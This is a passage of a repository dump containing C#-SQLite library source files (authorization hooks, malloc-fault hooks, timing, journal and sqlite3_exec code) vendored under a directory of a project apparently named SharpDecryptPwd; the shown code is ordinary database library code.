sqlite3_exec() call 82 | ** will return with an error. SQLITE_IGNORE means that the SQL statement 83 | ** should run but attempts to read the specified column will return NULL 84 | ** and attempts to write the column will be ignored. 85 | ** 86 | ** Setting the auth function to NULL disables this hook. The default 87 | ** setting of the auth function is NULL. 88 | */ 89 | int sqlite3_set_authorizer( 90 | sqlite3 *db, 91 | int (*xAuth)(void*,int,const char*,const char*,const char*,const char*), 92 | void *pArg 93 | ){ 94 | sqlite3_mutex_enter(db->mutex); 95 | db->xAuth = xAuth; 96 | db->pAuthArg = pArg; 97 | sqlite3ExpirePreparedStatements(db); 98 | sqlite3_mutex_leave(db->mutex); 99 | return SQLITE_OK; 100 | } 101 | 102 | /* 103 | ** Write an error message into pParse->zErrMsg that explains that the 104 | ** user-supplied authorization function returned an illegal value. 105 | */ 106 | static void sqliteAuthBadReturnCode(Parse *pParse){ 107 | sqlite3ErrorMsg(pParse, "authorizer malfunction"); 108 | pParse->rc = SQLITE_ERROR; 109 | } 110 | 111 | /* 112 | ** The pExpr should be a TK_COLUMN expression. The table referred to 113 | ** is in pTabList or else it is the NEW or OLD table of a trigger. 114 | ** Check to see if it is OK to read this particular column. 115 | ** 116 | ** If the auth function returns SQLITE_IGNORE, change the TK_COLUMN 117 | ** instruction into a TK_NULL. If the auth function returns SQLITE_DENY, 118 | ** then generate an error. 119 | */ 120 | void sqlite3AuthRead( 121 | Parse *pParse, /* The parser context */ 122 | Expr *pExpr, /* The expression to check authorization on */ 123 | Schema *pSchema, /* The schema of the expression */ 124 | SrcList *pTabList /* All table that pExpr might refer to */ 125 | ){ 126 | sqlite3 *db = pParse->db; 127 | int rc; 128 | Table *pTab = 0; /* The table being read */ 129 | const char *zCol; /* Name of the column of the table */ 130 | int iSrc; /* Index in pTabList->a[] of table being read */ 131 | const char *zDBase; /* Name of database being accessed */ 132 | int iDb; /* The index of the database the expression refers to */ 133 | 134 | if( db->xAuth==0 ) return; 135 | assert( pExpr->op==TK_COLUMN ); 136 | iDb = sqlite3SchemaToIndex(pParse->db, pSchema); 137 | if( iDb<0 ){ 138 | /* An attempt to read a column out of a subquery or other 139 | ** temporary table. */ 140 | return; 141 | } 142 | if( pTabList ){ 143 | for(iSrc=0; iSrcnSrc; iSrc++){ 144 | if( pExpr->iTable==pTabList->a[iSrc].iCursor ){ 145 | pTab = pTabList->a[iSrc].pTab; 146 | break; 147 | } 148 | } 149 | } 150 | if( !pTab ){ 151 | TriggerStack *pStack = pParse->trigStack; 152 | if( ALWAYS(pStack) ){ 153 | /* This must be an attempt to read the NEW or OLD pseudo-tables 154 | ** of a trigger. */ 155 | assert( pExpr->iTable==pStack->newIdx || pExpr->iTable==pStack->oldIdx ); 156 | pTab = pStack->pTab; 157 | } 158 | } 159 | if( NEVER(pTab==0) ) return; 160 | if( pExpr->iColumn>=0 ){ 161 | assert( pExpr->iColumnnCol ); 162 | zCol = pTab->aCol[pExpr->iColumn].zName; 163 | }else if( pTab->iPKey>=0 ){ 164 | assert( pTab->iPKeynCol ); 165 | zCol = pTab->aCol[pTab->iPKey].zName; 166 | }else{ 167 | zCol = "ROWID"; 168 | } 169 | assert( iDb>=0 && iDbnDb ); 170 | zDBase = db->aDb[iDb].zName; 171 | rc = db->xAuth(db->pAuthArg, SQLITE_READ, pTab->zName, zCol, zDBase, 172 | pParse->zAuthContext); 173 | if( rc==SQLITE_IGNORE ){ 174 | pExpr->op = TK_NULL; 175 | }else if( rc==SQLITE_DENY ){ 176 | if( db->nDb>2 || iDb!=0 ){ 177 | sqlite3ErrorMsg(pParse, "access to %s.%s.%s is prohibited", 178 | zDBase, pTab->zName, zCol); 179 | }else{ 180 | sqlite3ErrorMsg(pParse, "access to %s.%s is prohibited",pTab->zName,zCol); 181 | } 182 | pParse->rc = SQLITE_AUTH; 183 | }else if( rc!=SQLITE_OK ){ 184 | sqliteAuthBadReturnCode(pParse); 185 | } 186 | } 187 | 188 | /* 189 | ** Do an authorization check using the code and arguments given. Return 190 | ** either SQLITE_OK (zero) or SQLITE_IGNORE or SQLITE_DENY. If SQLITE_DENY 191 | ** is returned, then the error count and error message in pParse are 192 | ** modified appropriately. 193 | */ 194 | int sqlite3AuthCheck( 195 | Parse *pParse, 196 | int code, 197 | const char *zArg1, 198 | const char *zArg2, 199 | const char *zArg3 200 | ){ 201 | sqlite3 *db = pParse->db; 202 | int rc; 203 | 204 | /* Don't do any authorization checks if the database is initialising 205 | ** or if the parser is being invoked from within sqlite3_declare_vtab. 206 | */ 207 | if( db->init.busy || IN_DECLARE_VTAB ){ 208 | return SQLITE_OK; 209 | } 210 | 211 | if( db->xAuth==0 ){ 212 | return SQLITE_OK; 213 | } 214 | rc = db->xAuth(db->pAuthArg, code, zArg1, zArg2, zArg3, pParse->zAuthContext); 215 | if( rc==SQLITE_DENY ){ 216 | sqlite3ErrorMsg(pParse, "not authorized"); 217 | pParse->rc = SQLITE_AUTH; 218 | }else if( rc!=SQLITE_OK && rc!=SQLITE_IGNORE ){ 219 | rc = SQLITE_DENY; 220 | sqliteAuthBadReturnCode(pParse); 221 | } 222 | return rc; 223 | } 224 | 225 | /* 226 | ** Push an authorization context. After this routine is called, the 227 | ** zArg3 argument to authorization callbacks will be zContext until 228 | ** popped. Or if pParse==0, this routine is a no-op. 229 | */ 230 | void sqlite3AuthContextPush( 231 | Parse *pParse, 232 | AuthContext *pContext, 233 | const char *zContext 234 | ){ 235 | assert( pParse ); 236 | pContext->pParse = pParse; 237 | pContext->zAuthContext = pParse->zAuthContext; 238 | pParse->zAuthContext = zContext; 239 | } 240 | 241 | /* 242 | ** Pop an authorization context that was previously pushed 243 | ** by sqlite3AuthContextPush 244 | */ 245 | void sqlite3AuthContextPop(AuthContext *pContext){ 246 | if( pContext->pParse ){ 247 | pContext->pParse->zAuthContext = pContext->zAuthContext; 248 | pContext->pParse = 0; 249 | } 250 | } 251 | 252 | #endif //* SQLITE_OMIT_AUTHORIZATION */ 253 | } 254 | } 255 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/fault_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | 4 | namespace CS_SQLite3 5 | { 6 | public partial class CSSQLite 7 | { 8 | /* 9 | ** 2008 Jan 22 10 | ** 11 | ** The author disclaims copyright to this source code. In place of 12 | ** a legal notice, here is a blessing: 13 | ** 14 | ** May you do good and not evil. 15 | ** May you find forgiveness for yourself and forgive others. 16 | ** May you share freely, never taking more than you give. 17 | ** 18 | ************************************************************************* 19 | ** 20 | ** $Id: fault.c,v 1.11 2008/09/02 00:52:52 drh Exp $ 21 | ** 22 | ************************************************************************* 23 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 24 | ** C#-SQLite is an independent reimplementation of the SQLite software library 25 | ** 26 | ** $Header$ 27 | ************************************************************************* 28 | */ 29 | 30 | /* 31 | ** This file contains code to support the concept of "benign" 32 | ** malloc failures (when the xMalloc() or xRealloc() method of the 33 | ** sqlite3_mem_methods structure fails to allocate a block of memory 34 | ** and returns 0). 35 | ** 36 | ** Most malloc failures are non-benign. After they occur, SQLite 37 | ** abandons the current operation and returns an error code (usually 38 | ** SQLITE_NOMEM) to the user. However, sometimes a fault is not necessarily 39 | ** fatal. For example, if a malloc fails while resizing a hash table, this 40 | ** is completely recoverable simply by not carrying out the resize. The 41 | ** hash table will continue to function normally. So a malloc failure 42 | ** during a hash table resize is a benign fault. 43 | */ 44 | 45 | //#include "sqliteInt.h" 46 | 47 | #if !SQLITE_OMIT_BUILTIN_TEST 48 | /* 49 | ** Global variables. 50 | */ 51 | //typedef struct BenignMallocHooks BenignMallocHooks; 52 | public struct BenignMallocHooks// 53 | { 54 | public void_function xBenignBegin;//void (*xBenignBegin)(void); 55 | public void_function xBenignEnd; //void (*xBenignEnd)(void); 56 | public BenignMallocHooks( void_function xBenignBegin, void_function xBenignEnd ) 57 | { 58 | this.xBenignBegin = xBenignBegin; 59 | this.xBenignEnd = xBenignEnd; 60 | } 61 | } 62 | static BenignMallocHooks sqlite3Hooks = new BenignMallocHooks( null, null ); 63 | 64 | /* The "wsdHooks" macro will resolve to the appropriate BenignMallocHooks 65 | ** structure. If writable static data is unsupported on the target, 66 | ** we have to locate the state vector at run-time. In the more common 67 | ** case where writable static data is supported, wsdHooks can refer directly 68 | ** to the "sqlite3Hooks" state vector declared above. 69 | */ 70 | #if SQLITE_OMIT_WSD 71 | //# define wsdHooksInit \ 72 | BenignMallocHooks *x = &GLOBAL(BenignMallocHooks,sqlite3Hooks) 73 | //# define wsdHooks x[0] 74 | #else 75 | //# define wsdHooksInit 76 | static void wsdHooksInit() { } 77 | //# define wsdHooks sqlite3Hooks 78 | static BenignMallocHooks wsdHooks = sqlite3Hooks; 79 | #endif 80 | 81 | 82 | 83 | /* 84 | ** Register hooks to call when sqlite3BeginBenignMalloc() and 85 | ** sqlite3EndBenignMalloc() are called, respectively. 86 | */ 87 | static void sqlite3BenignMallocHooks( 88 | void_function xBenignBegin, //void (*xBenignBegin)(void), 89 | void_function xBenignEnd //void (*xBenignEnd)(void) 90 | ) 91 | { 92 | wsdHooksInit(); 93 | wsdHooks.xBenignBegin = xBenignBegin; 94 | wsdHooks.xBenignEnd = xBenignEnd; 95 | } 96 | 97 | /* 98 | ** This (sqlite3EndBenignMalloc()) is called by SQLite code to indicate that 99 | ** subsequent malloc failures are benign. A call to sqlite3EndBenignMalloc() 100 | ** indicates that subsequent malloc failures are non-benign. 101 | */ 102 | static void sqlite3BeginBenignMalloc() 103 | { 104 | wsdHooksInit(); 105 | if ( wsdHooks.xBenignBegin != null ) 106 | { 107 | wsdHooks.xBenignBegin(); 108 | } 109 | } 110 | static void sqlite3EndBenignMalloc() 111 | { 112 | wsdHooksInit(); 113 | if ( wsdHooks.xBenignEnd != null ) 114 | { 115 | wsdHooks.xBenignEnd(); 116 | } 117 | } 118 | #endif //* SQLITE_OMIT_BUILTIN_TEST */ 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/hwtime_c.cs: -------------------------------------------------------------------------------- 1 | namespace CS_SQLite3 2 | { 3 | using sqlite_u3264 = System.UInt64; 4 | 5 | public partial class CSSQLite 6 | { 7 | /* 8 | ** 2008 May 27 9 | ** 10 | ** The author disclaims copyright to this source code. In place of 11 | ** a legal notice, here is a blessing: 12 | ** 13 | ** May you do good and not evil. 14 | ** May you find forgiveness for yourself and forgive others. 15 | ** May you share freely, never taking more than you give. 16 | ** 17 | ****************************************************************************** 18 | ** 19 | ** This file contains inline asm code for retrieving "high-performance" 20 | ** counters for x86 class CPUs. 21 | ** 22 | ** $Id: hwtime.h,v 1.3 2008/08/01 14:33:15 shane Exp $ 23 | ** 24 | ************************************************************************* 25 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 26 | ** C#-SQLite is an independent reimplementation of the SQLite software library 27 | ** 28 | ** $Header$ 29 | ************************************************************************* 30 | */ 31 | //#if !_HWTIME_H_ 32 | //#define _HWTIME_H_ 33 | 34 | /* 35 | ** The following routine only works on pentium-class (or newer) processors. 36 | ** It uses the RDTSC opcode to read the cycle count value out of the 37 | ** processor and returns that value. This can be used for high-res 38 | ** profiling. 39 | */ 40 | #if ((__GNUC__) || (_MSC_VER)) && ((i386) || (__i386__) || (_M_IX86)) 41 | 42 | #if (__GNUC__) 43 | 44 | __inline__ sqlite_u3264 sqlite3Hwtime(void){ 45 | unsigned int lo, hi; 46 | __asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi)); 47 | return (sqlite_u3264)hi << 32 | lo; 48 | } 49 | 50 | #elif (_MSC_VER) 51 | 52 | __declspec(naked) __inline sqlite_u3264 __cdecl sqlite3Hwtime(void){ 53 | __asm { 54 | rdtsc 55 | ret ; return value at EDX:EAX 56 | } 57 | } 58 | 59 | #endif 60 | 61 | #elif ((__GNUC__) && (__x86_64__)) 62 | 63 | __inline__ sqlite_u3264 sqlite3Hwtime(void){ 64 | unsigned long val; 65 | __asm__ __volatile__ ("rdtsc" : "=A" (val)); 66 | return val; 67 | } 68 | 69 | #elif ( (__GNUC__) && (__ppc__)) 70 | 71 | __inline__ sqlite_u3264 sqlite3Hwtime(void){ 72 | unsigned long long retval; 73 | unsigned long junk; 74 | __asm__ __volatile__ ("\n\ 75 | 1: mftbu %1\n\ 76 | mftb %L0\n\ 77 | mftbu %0\n\ 78 | cmpw %0,%1\n\ 79 | bne 1b" 80 | : "=r" (retval), "=r" (junk)); 81 | return retval; 82 | } 83 | 84 | #else 85 | 86 | //#error Need implementation of sqlite3Hwtime() for your platform. 87 | 88 | /* 89 | ** To compile without implementing sqlite3Hwtime() for your platform, 90 | ** you can remove the above #error and use the following 91 | ** stub function. You will lose timing support for many 92 | ** of the debugging and testing utilities, but it should at 93 | ** least compile and run. 94 | */ 95 | static sqlite_u3264 sqlite3Hwtime() { return (sqlite_u3264)System.DateTime.Now.Ticks; }// (sqlite_u3264)0 ); } 96 | 97 | #endif 98 | 99 | //#endif /* !_HWTIME_H_) */ 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/journal_c.cs: -------------------------------------------------------------------------------- 1 | namespace CS_SQLite3 2 | { 3 | public partial class CSSQLite 4 | { 5 | /* 6 | ** 2007 August 22 7 | ** 8 | ** The author disclaims copyright to this source code. In place of 9 | ** a legal notice, here is a blessing: 10 | ** 11 | ** May you do good and not evil. 12 | ** May you find forgiveness for yourself and forgive others. 13 | ** May you share freely, never taking more than you give. 14 | ** 15 | ************************************************************************* 16 | ** 17 | ** @(#) $Id: journal.c,v 1.9 2009/01/20 17:06:27 danielk1977 Exp $ 18 | ** 19 | ************************************************************************* 20 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 21 | ** C#-SQLite is an independent reimplementation of the SQLite software library 22 | ** 23 | ** $Header$ 24 | ************************************************************************* 25 | */ 26 | 27 | #if SQLITE_ENABLE_ATOMIC_WRITE 28 | 29 | /* 30 | ** This file implements a special kind of sqlite3_file object used 31 | ** by SQLite to create journal files if the atomic-write optimization 32 | ** is enabled. 33 | ** 34 | ** The distinctive characteristic of this sqlite3_file is that the 35 | ** actual on disk file is created lazily. When the file is created, 36 | ** the caller specifies a buffer size for an in-memory buffer to 37 | ** be used to service read() and write() requests. The actual file 38 | ** on disk is not created or populated until either: 39 | ** 40 | ** 1) The in-memory representation grows too large for the allocated 41 | ** buffer, or 42 | ** 2) The sqlite3JournalCreate() function is called. 43 | */ 44 | 45 | //#include "sqliteInt.h" 46 | 47 | 48 | /* 49 | ** A JournalFile object is a subclass of sqlite3_file used by 50 | ** as an open file handle for journal files. 51 | */ 52 | struct JournalFile { 53 | sqlite3_io_methods pMethod; /* I/O methods on journal files */ 54 | int nBuf; /* Size of zBuf[] in bytes */ 55 | char *zBuf; /* Space to buffer journal writes */ 56 | int iSize; /* Amount of zBuf[] currently used */ 57 | int flags; /* xOpen flags */ 58 | sqlite3_vfs pVfs; /* The "real" underlying VFS */ 59 | sqlite3_file pReal; /* The "real" underlying file descriptor */ 60 | const char *zJournal; /* Name of the journal file */ 61 | }; 62 | typedef struct JournalFile JournalFile; 63 | 64 | /* 65 | ** If it does not already exists, create and populate the on-disk file 66 | ** for JournalFile p. 67 | */ 68 | static int createFile(JournalFile p){ 69 | int rc = SQLITE_OK; 70 | if( null==p.pReal ){ 71 | sqlite3_file pReal = (sqlite3_file *)&p[1]; 72 | rc = sqlite3OsOpen(p.pVfs, p.zJournal, pReal, p.flags, 0); 73 | if( rc==SQLITE_OK ){ 74 | p.pReal = pReal; 75 | if( p.iSize>0 ){ 76 | Debug.Assert(p.iSize<=p.nBuf); 77 | rc = sqlite3OsWrite(p.pReal, p.zBuf, p.iSize, 0); 78 | } 79 | } 80 | } 81 | return rc; 82 | } 83 | 84 | /* 85 | ** Close the file. 86 | */ 87 | static int jrnlClose(sqlite3_file pJfd){ 88 | JournalFile p = (JournalFile *)pJfd; 89 | if( p.pReal ){ 90 | sqlite3OsClose(p.pReal); 91 | } 92 | //sqlite3DbFree(db,p.zBuf); 93 | return SQLITE_OK; 94 | } 95 | 96 | /* 97 | ** Read data from the file. 98 | */ 99 | static int jrnlRead( 100 | sqlite3_file *pJfd, /* The journal file from which to read */ 101 | void *zBuf, /* Put the results here */ 102 | int iAmt, /* Number of bytes to read */ 103 | sqlite_int64 iOfst /* Begin reading at this offset */ 104 | ){ 105 | int rc = SQLITE_OK; 106 | JournalFile *p = (JournalFile *)pJfd; 107 | if( p->pReal ){ 108 | rc = sqlite3OsRead(p->pReal, zBuf, iAmt, iOfst); 109 | }else if( (iAmt+iOfst)>p->iSize ){ 110 | rc = SQLITE_IOERR_SHORT_READ; 111 | }else{ 112 | memcpy(zBuf, &p->zBuf[iOfst], iAmt); 113 | } 114 | return rc; 115 | } 116 | 117 | /* 118 | ** Write data to the file. 119 | */ 120 | static int jrnlWrite( 121 | sqlite3_file pJfd, /* The journal file into which to write */ 122 | const void *zBuf, /* Take data to be written from here */ 123 | int iAmt, /* Number of bytes to write */ 124 | sqlite_int64 iOfst /* Begin writing at this offset into the file */ 125 | ){ 126 | int rc = SQLITE_OK; 127 | JournalFile p = (JournalFile *)pJfd; 128 | if( null==p.pReal && (iOfst+iAmt)>p.nBuf ){ 129 | rc = createFile(p); 130 | } 131 | if( rc==SQLITE_OK ){ 132 | if( p.pReal ){ 133 | rc = sqlite3OsWrite(p.pReal, zBuf, iAmt, iOfst); 134 | }else{ 135 | memcpy(p.zBuf[iOfst], zBuf, iAmt); 136 | if( p.iSize<(iOfst+iAmt) ){ 137 | p.iSize = (iOfst+iAmt); 138 | } 139 | } 140 | } 141 | return rc; 142 | } 143 | 144 | /* 145 | ** Truncate the file. 146 | */ 147 | static int jrnlTruncate(sqlite3_file pJfd, sqlite_int64 size){ 148 | int rc = SQLITE_OK; 149 | JournalFile p = (JournalFile *)pJfd; 150 | if( p.pReal ){ 151 | rc = sqlite3OsTruncate(p.pReal, size); 152 | }else if( size0 ){ 218 | p.zBuf = sqlite3MallocZero(nBuf); 219 | if( null==p.zBuf ){ 220 | return SQLITE_NOMEM; 221 | } 222 | }else{ 223 | return sqlite3OsOpen(pVfs, zName, pJfd, flags, 0); 224 | } 225 | p.pMethod = &JournalFileMethods; 226 | p.nBuf = nBuf; 227 | p.flags = flags; 228 | p.zJournal = zName; 229 | p.pVfs = pVfs; 230 | return SQLITE_OK; 231 | } 232 | 233 | /* 234 | ** If the argument p points to a JournalFile structure, and the underlying 235 | ** file has not yet been created, create it now. 236 | */ 237 | int sqlite3JournalCreate(sqlite3_file p){ 238 | if( p.pMethods!=&JournalFileMethods ){ 239 | return SQLITE_OK; 240 | } 241 | return createFile((JournalFile *)p); 242 | } 243 | 244 | /* 245 | ** Return the number of bytes required to store a JournalFile that uses vfs 246 | ** pVfs to create the underlying on-disk files. 247 | */ 248 | int sqlite3JournalSize(sqlite3_vfs pVfs){ 249 | return (pVfs->szOsFile+sizeof(JournalFile)); 250 | } 251 | #endif 252 | } 253 | } 254 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/legacy_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Text; 4 | 5 | namespace CS_SQLite3 6 | { 7 | using sqlite3_callback = CSSQLite.dxCallback; 8 | using sqlite3_stmt = CSSQLite.Vdbe; 9 | 10 | public partial class CSSQLite 11 | { 12 | 13 | /* 14 | ** 2001 September 15 15 | ** 16 | ** The author disclaims copyright to this source code. In place of 17 | ** a legal notice, here is a blessing: 18 | ** 19 | ** May you do good and not evil. 20 | ** May you find forgiveness for yourself and forgive others. 21 | ** May you share freely, never taking more than you give. 22 | ** 23 | ************************************************************************* 24 | ** Main file for the SQLite library. The routines in this file 25 | ** implement the programmer interface to the library. Routines in 26 | ** other files are for internal use by SQLite and should not be 27 | ** accessed by users of the library. 28 | ** 29 | ** $Id: legacy.c,v 1.35 2009/08/07 16:56:00 danielk1977 Exp $ 30 | ** 31 | ************************************************************************* 32 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 33 | ** C#-SQLite is an independent reimplementation of the SQLite software library 34 | ** 35 | ** $Header$ 36 | ************************************************************************* 37 | */ 38 | 39 | //#include "sqliteInt.h" 40 | 41 | /* 42 | ** Execute SQL code. Return one of the SQLITE_ success/failure 43 | ** codes. Also write an error message into memory obtained from 44 | ** malloc() and make pzErrMsg point to that message. 45 | ** 46 | ** If the SQL is a query, then for each row in the query result 47 | ** the xCallback() function is called. pArg becomes the first 48 | ** argument to xCallback(). If xCallback=NULL then no callback 49 | ** is invoked, even for queries. 50 | */ 51 | //OVERLOADS 52 | 53 | public static int sqlite3_exec( 54 | sqlite3 db, /* The database on which the SQL executes */ 55 | string zSql, /* The SQL to be executed */ 56 | int NoCallback, int NoArgs, int NoErrors 57 | ) 58 | { 59 | string Errors = ""; 60 | return sqlite3_exec( db, zSql, null, null, ref Errors ); 61 | } 62 | 63 | public static int sqlite3_exec( 64 | sqlite3 db, /* The database on which the SQL executes */ 65 | string zSql, /* The SQL to be executed */ 66 | sqlite3_callback xCallback, /* Invoke this callback routine */ 67 | object pArg, /* First argument to xCallback() */ 68 | int NoErrors 69 | ) 70 | { 71 | string Errors = ""; 72 | return sqlite3_exec( db, zSql, xCallback, pArg, ref Errors ); 73 | } 74 | public static int sqlite3_exec( 75 | sqlite3 db, /* The database on which the SQL executes */ 76 | string zSql, /* The SQL to be executed */ 77 | sqlite3_callback xCallback, /* Invoke this callback routine */ 78 | object pArg, /* First argument to xCallback() */ 79 | ref string pzErrMsg /* Write error messages here */ 80 | ) 81 | { 82 | 83 | int rc = SQLITE_OK; /* Return code */ 84 | string zLeftover = ""; /* Tail of unprocessed SQL */ 85 | sqlite3_stmt pStmt = null; /* The current SQL statement */ 86 | string[] azCols = null; /* Names of result columns */ 87 | int nRetry = 0; /* Number of retry attempts */ 88 | int callbackIsInit; /* True if callback data is initialized */ 89 | 90 | if ( zSql == null ) zSql = ""; 91 | 92 | sqlite3_mutex_enter( db.mutex ); 93 | sqlite3Error( db, SQLITE_OK, 0 ); 94 | while ( ( rc == SQLITE_OK || ( rc == SQLITE_SCHEMA && ( ++nRetry ) < 2 ) ) && zSql != "" ) 95 | { 96 | int nCol; 97 | string[] azVals = null; 98 | 99 | pStmt = null; 100 | rc = sqlite3_prepare( db, zSql, -1, ref pStmt, ref zLeftover ); 101 | Debug.Assert( rc == SQLITE_OK || pStmt == null ); 102 | if ( rc != SQLITE_OK ) 103 | { 104 | continue; 105 | } 106 | if ( pStmt == null ) 107 | { 108 | /* this happens for a comment or white-space */ 109 | zSql = zLeftover; 110 | continue; 111 | } 112 | 113 | callbackIsInit = 0; 114 | nCol = sqlite3_column_count( pStmt ); 115 | 116 | while ( true ) 117 | { 118 | int i; 119 | rc = sqlite3_step( pStmt ); 120 | 121 | /* Invoke the callback function if required */ 122 | if ( xCallback != null && ( SQLITE_ROW == rc || 123 | ( SQLITE_DONE == rc && callbackIsInit == 0 124 | && ( db.flags & SQLITE_NullCallback ) != 0 ) ) ) 125 | { 126 | if ( 0 == callbackIsInit ) 127 | { 128 | azCols = new string[nCol];//sqlite3DbMallocZero(db, 2*nCol*sizeof(const char*) + 1); 129 | if ( azCols == null ) 130 | { 131 | goto exec_out; 132 | } 133 | for ( i = 0 ; i < nCol ; i++ ) 134 | { 135 | azCols[i] = sqlite3_column_name( pStmt, i ); 136 | /* sqlite3VdbeSetColName() installs column names as UTF8 137 | ** strings so there is no way for sqlite3_column_name() to fail. */ 138 | Debug.Assert( azCols[i] != null ); 139 | } 140 | callbackIsInit = 1; 141 | } 142 | if ( rc == SQLITE_ROW ) 143 | { 144 | azVals = new string[nCol];// azCols[nCol]; 145 | for ( i = 0 ; i < nCol ; i++ ) 146 | { 147 | azVals[i] = sqlite3_column_text( pStmt, i ); 148 | if ( azVals[i] == null && sqlite3_column_type( pStmt, i ) != SQLITE_NULL ) 149 | { 150 | //// db.mallocFailed = 1; 151 | goto exec_out; 152 | } 153 | } 154 | } 155 | if ( xCallback( pArg, nCol, azVals, azCols ) != 0 ) 156 | { 157 | rc = SQLITE_ABORT; 158 | sqlite3VdbeFinalize( pStmt ); 159 | pStmt = null; 160 | sqlite3Error( db, SQLITE_ABORT, 0 ); 161 | goto exec_out; 162 | } 163 | } 164 | 165 | if ( rc != SQLITE_ROW ) 166 | { 167 | rc = sqlite3VdbeFinalize( pStmt ); 168 | pStmt = null; 169 | if ( rc != SQLITE_SCHEMA ) 170 | { 171 | nRetry = 0; 172 | if ( ( zSql = zLeftover ) != "" ) 173 | { 174 | int zindex = 0; 175 | while ( zindex < zSql.Length && sqlite3Isspace( zSql[zindex] ) ) zindex++; 176 | if ( zindex != 0 ) zSql = zindex < zSql.Length ? zSql.Substring( zindex ) : ""; 177 | } 178 | } 179 | break; 180 | } 181 | } 182 | 183 | //sqlite3DbFree( db, ref azCols ); 184 | azCols = null; 185 | } 186 | 187 | exec_out: 188 | if ( pStmt != null ) sqlite3VdbeFinalize( pStmt ); 189 | //sqlite3DbFree( db, ref azCols ); 190 | 191 | rc = sqlite3ApiExit( db, rc ); 192 | if ( rc != SQLITE_OK && ALWAYS( rc == sqlite3_errcode( db ) ) && pzErrMsg != null ) 193 | { 194 | //int nErrMsg = 1 + sqlite3Strlen30(sqlite3_errmsg(db)); 195 | //pzErrMsg = sqlite3Malloc(nErrMsg); 196 | //if (pzErrMsg) 197 | //{ 198 | // memcpy(pzErrMsg, sqlite3_errmsg(db), nErrMsg); 199 | //}else{ 200 | //rc = SQLITE_NOMEM; 201 | //sqlite3Error(db, SQLITE_NOMEM, 0); 202 | //} 203 | pzErrMsg = sqlite3_errmsg( db ); 204 | } 205 | else if ( pzErrMsg != "" ) 206 | { 207 | pzErrMsg = ""; 208 | } 209 | 210 | Debug.Assert( ( rc & db.errMask ) == rc ); 211 | sqlite3_mutex_leave( db.mutex ); 212 | return rc; 213 | } 214 | } 215 | } 216 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/mem0_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | using sqlite3_int64 = System.Int64; 6 | using System.Text; 7 | 8 | namespace CS_SQLite3 9 | { 10 | public partial class CSSQLite 11 | { 12 | /* 13 | ** 2008 October 28 14 | ** 15 | ** The author disclaims copyright to this source code. In place of 16 | ** a legal notice, here is a blessing: 17 | ** 18 | ** May you do good and not evil. 19 | ** May you find forgiveness for yourself and forgive others. 20 | ** May you share freely, never taking more than you give. 21 | ** 22 | ************************************************************************* 23 | ** 24 | ** This file contains a no-op memory allocation drivers for use when 25 | ** SQLITE_ZERO_MALLOC is defined. The allocation drivers implemented 26 | ** here always fail. SQLite will not operate with these drivers. These 27 | ** are merely placeholders. Real drivers must be substituted using 28 | ** sqlite3_config() before SQLite will operate. 29 | ** 30 | ** $Id: mem0.c,v 1.1 2008/10/28 18:58:20 drh Exp $ 31 | ** 32 | ************************************************************************* 33 | ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart 34 | ** C#-SQLite is an independent reimplementation of the SQLite software library 35 | ** 36 | ** $Header$ 37 | ************************************************************************* 38 | */ 39 | //#include "sqliteInt.h" 40 | 41 | /* 42 | ** This version of the memory allocator is the default. It is 43 | ** used when no other memory allocator is specified using compile-time 44 | ** macros. 45 | */ 46 | #if SQLITE_ZERO_MALLOC 47 | 48 | /* 49 | ** No-op versions of all memory allocation routines 50 | */ 51 | static void sqlite3MemMalloc(int nByte){ return 0; } 52 | static void sqlite3MemFree(object pPrior){ return; } 53 | static void sqlite3MemRealloc(object pPrior, int nByte){ return 0; } 54 | static int sqlite3MemSize(object pPrior){ return 0; } 55 | static int sqlite3MemRoundup(int n){ return n; } 56 | static int sqlite3MemInit(object NotUsed){ return SQLITE_OK; } 57 | static void sqlite3MemShutdown(object NotUsed){ return; } 58 | 59 | /* 60 | ** This routine is the only routine in this file with external linkage. 61 | ** 62 | ** Populate the low-level memory allocation function pointers in 63 | ** sqlite3GlobalConfig.m with pointers to the routines in this file. 64 | */ 65 | void sqlite3MemSetDefault(){ 66 | static const sqlite3_mem_methods defaultMethods = { 67 | sqlite3MemMalloc, 68 | sqlite3MemFree, 69 | sqlite3MemRealloc, 70 | sqlite3MemSize, 71 | sqlite3MemRoundup, 72 | sqlite3MemInit, 73 | sqlite3MemShutdown, 74 | 0 75 | }; 76 | sqlite3_config(SQLITE_CONFIG_MALLOC, &defaultMethods); 77 | } 78 | 79 | #endif //* SQLITE_ZERO_MALLOC */ 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Lib/SQLite/src/mem1_c.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | using sqlite3_int64 = System.Int64; 6 | using System.Text; 7 | 8 | namespace CS_SQLite3 9 | { 10 | public partial class CSSQLite 11 | { 12 | /* 13 | ** 2007 August 14 14 | ** 15 | ** The author disclaims copyright to this source code. In place of 16 | ** a legal notice, here is a blessing: 17 | ** 18 | ** May you do good and not evil. 19 | ** May you find forgiveness for yourself and forgive others. 20 | ** May you share freely, never taking more than you give. 21 | ** 22 | ************************************************************************* 23 | ** 24 | ** This file contains low-level memory allocation drivers for when 25 | ** SQLite will use the standard C-library malloc/realloc/free interface 26 | ** to obtain the memory it needs. 27 | ** 28 | ** This file contains implementations of the low-level memory allocation 29 | ** routines specified in the sqlite3_mem_methods object. 30 | ** 31 | ** $Id: mem1.c,v 1.30 2009/03/23 04:33:33 danielk1977 Exp $ 32 | ** 33 | 